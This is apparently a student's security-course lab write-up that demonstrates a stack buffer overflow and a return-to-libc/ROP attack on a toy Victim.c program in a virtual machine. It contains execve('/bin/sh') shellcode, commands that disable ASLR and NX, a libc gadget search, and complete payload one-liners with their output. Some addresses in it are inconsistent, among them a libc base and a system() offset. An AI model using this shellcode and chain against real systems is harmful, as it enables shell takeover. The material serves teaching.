James Uttaro - Computer Security - CSC 480 - Return Oriented Project

Description

The goal of this project is to demonstrate stack smashing attack on a simple program (Victim.c) . Although this a simple example of a return oriented program, it is a good overview of how a buffer overflow can be used to gain access to the shell. Aswell is a good exercise in operating system protections and how they deal with these security exploits and how to navigate them. In this assignment I was using Lubuntu 64-bit virtual machine.

Three countermeasures to Stack Smashing:

GCC Stack-Smashing Protector (SSP), the compiler rearranges the stack layout to make buffer overflows less dangerous and inserts runtime stack integrity checks.Executable space protection (NX): Attempting to execute code in the stack causes a segmentation fault.Address Space Layout Randomization (ASLR):The location of the stack is randomized on every run of a program.

Assembly

The first step was to run the shell.c code. the string bin/sh is loaded in memory, and is executed by using the system call command, which executes what is in a certain register.

Object Dump:

```
james@james-VirtualBox:~/Desktop/P2$ objdump -d a.out | sed -n '/needle0/,/needle1/p'
0000000000000664 <needle0>:
 664:       eb 0e                 jmp    674 <there>

0000000000000666 <here>:
 666:       5f                    pop    %rdi
 667:       48 31 c0              xor    %rax,%rax
 66a:       b0 3b                 mov    $0x3b,%al
 66c:       48 31 f6              xor    %rsi,%rsi
 66f:       48 31 d2              xor    %rdx,%rdx
 672:       0f 05                 syscall

0000000000000674 <there>:
 674:       e8 ed ff ff ff        callq  666 <here>
 679:       2f                    (bad)
 67a:       62                    (bad)
 67b:       69                    .byte 0x69
 67c:       6e                    outsb  %ds:(%rsi),(%dx)
 67d:       2f                    (bad)
 67e:       73 68                 jae    6e8 <__libc_csu_init+0x48>
            …
```

XXD

We then use the xxd command to create a hex dump of the input file.

```
james@james-VirtualBox:~/Desktop/P2$ xxd -s0x664 -l32 -p a.out shellcode
james@james-VirtualBox:~/Desktop/P2$ cat shellcode
Eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800efbead
```

Setarch

setarch changes the architecture in new program environment. we use this command with the -r flag which allows us to disable the randomization of the virtual address space.

Buffer Location

Disable the stack protection during compiling and disable the executable space protection using the execstack command

```
james@james-VirtualBox:~/Desktop/P2$ setarch `arch` -R ./victim
0x7fffffffe130
What's your name?
```

ps - command on UNIX prints a list of the current processes, this command gives us the stack pointer esp of all the victim processes running on the machine.

reports to us a snapshot of the current process. Using the flag -eo allows us to see all processes on the system (e flag) while also allowing us to format the output as we desire (o flag). He asks for the ESP in his command giving us the stack pointers of the processes currently running on the machine.

Once our program is running without ASLR (thanks to the setarch command) we can take a look into the process from another terminal with the command:

```
james@james-VirtualBox:~/Desktop/P2$ ps -o cmd,esp -C victim
CMD                        ESP
./victim              8f145bb8
```

This tells us that while the victim program is waiting for user input, the stack pointer is at 0x8f145bb8. We can now calculate the distance from this pointer to the name buffer using the location our victim program printed out for us earlier, we find this to be 120. In my case.

Attack!

After running the program with ASLR enabled in the named pipe, we can start our attack from a different terminal using this string of commands:

```
james@james-VirtualBox:~/Desktop/P2$ sp=`ps --no-header -C victim -o
esp`james@james-VirtualBox:~/Desktop/P2$ echo $sp
f0ed82d8
james@james-VirtualBox:~/Desktop/P2$ a=`printf %016x $((0x7fff$sp+120)) | tac -r -s..`
james@james-VirtualBox:~/Desktop/P2$ echo $a
5083edf0ff7f0000
james@james-VirtualBox:~/Desktop/P2$ a=`printf %016x $((0x7fff$sp+120)) | tac -r -s..`
james@james-VirtualBox:~/Desktop/P2$ ( ( cat shellcode ; printf %080d 0 ; echo $a ) | xxd -r -p ; cat ) > pip
```

Go go gadgets

find libc's compiled library file with the command:

```
james@james-VirtualBox:~/Desktop/P2$ locate libc.so
/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so
```

Now that we found the file, we search for the pop gadget using :

```
james@james-VirtualBox:~/Desktop/P2$ xxd -c1 -p /lib/x86_64-linux-gnu/libc.so.6 | grep -n -B1 c3 | grep 5f
-m1 | awk '{printf"%x\n",$1-1}'
1fd7a
```

This command will get us all the snippets of code that end in a RET instruction in the libc.so file.We want the gadget to look like this

```
pop  %rdi
retq
```

while the pointer to "/bin/sh" is at the top of the stack at &name[0]. this will assign the pointer to %rdi which will allow us to execute the shell once the stack pointer is advanced.

This command works by searching the libc code for the corresponding machine code to the instructions we want to execute. We get the address to be 0xldf7a

More happy returns

While running our victim program in one terminal without ASLR we run the commands:

```
james@james-VirtualBox:~/Desktop/P2$ pid=`ps -C victim -o pid --no-headers | tr -d ' '`
james@james-VirtualBox:~/Desktop/P2$ grep libc /proc/$pid/maps
7ffff7a11000-7ffff7bce000 r-xp 00000000 08:01 4587555              /lib/x86_64-linux-gnu/libc-2.24.so
7ffff7bce000-7ffff7dce000 ---p 001bd000 08:01 4587555              /lib/x86_64-linux-gnu/libc-2.24.so
7ffff7dce000-7ffff7dd2000 r--p 001bd000 08:01 4587555              /lib/x86_64-linux-gnu/libc-2.24.so
7ffff7dd2000-7ffff7dd4000 rw-p 001c1000 08:01 4587555              /lib/x86_64-linux-gnu/libc-2.24.so
```

Ps command gets us the pid of the victim process. The grep command allows us to see where libc was loaded into memory for the victim process. This address is found by adding the location of the instructions in libc to the location where libc was loaded into memory for our victim process. That address winds up being 0x7ffff7a11000 + 0xlfd7a.

As to where to put "/bin/sh" we can put it in the beginning of the buffer at location 0x7ffff7a11000 (0x60 needs to be added to this because the new version of Linux organizes the stack differently).

Finally we need the location of the system() function. This can be found by running the command:

```
james@james-VirtualBox:~/Desktop/P2$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep '\<system\>'
00000000000456d0 W system
```

We see that the system() function lies at address 0x7ffff7a11000 + 0x465d0.

We now have all the pieces to run our attack. We do this by using the following command:

```
james@james-VirtualBox:~/Desktop/P2$ (echo -n /bin/sh | xxd -p; printf %0130d 0; printf %016x
$((0x7ffff7bce000+0x1fd7a)) | tac -rs..; printf %016x 0x7fffffffe140 | tac -rs..; printf %016x
$((0x7ffff7bce000+0x456d0)) | tac -rs..) | xxd -r -p | setarch `arch` -R ./victim
0x7fffffffe130
What's your name?
Hello, /bin/sh!
Segmentation fault (core dumped)
```

```
james@james-VirtualBox:~/Desktop/P2$ (echo -n /bin/sh | xxd -p; printf %080d 0; printf %016x
$((0x7ffff7bce000+0x1fd7a)) | tac -rs..; printf %016x 0x7fffffffe140 | tac -rs..; printf %016x
$((0x7ffff7bce000+0x456d0)) | tac -rs..) | xxd -r -p | setarch `arch` -R ./victim
```

```
0x7fffffffe130
What's your name?
Hello, /bin/sh!
```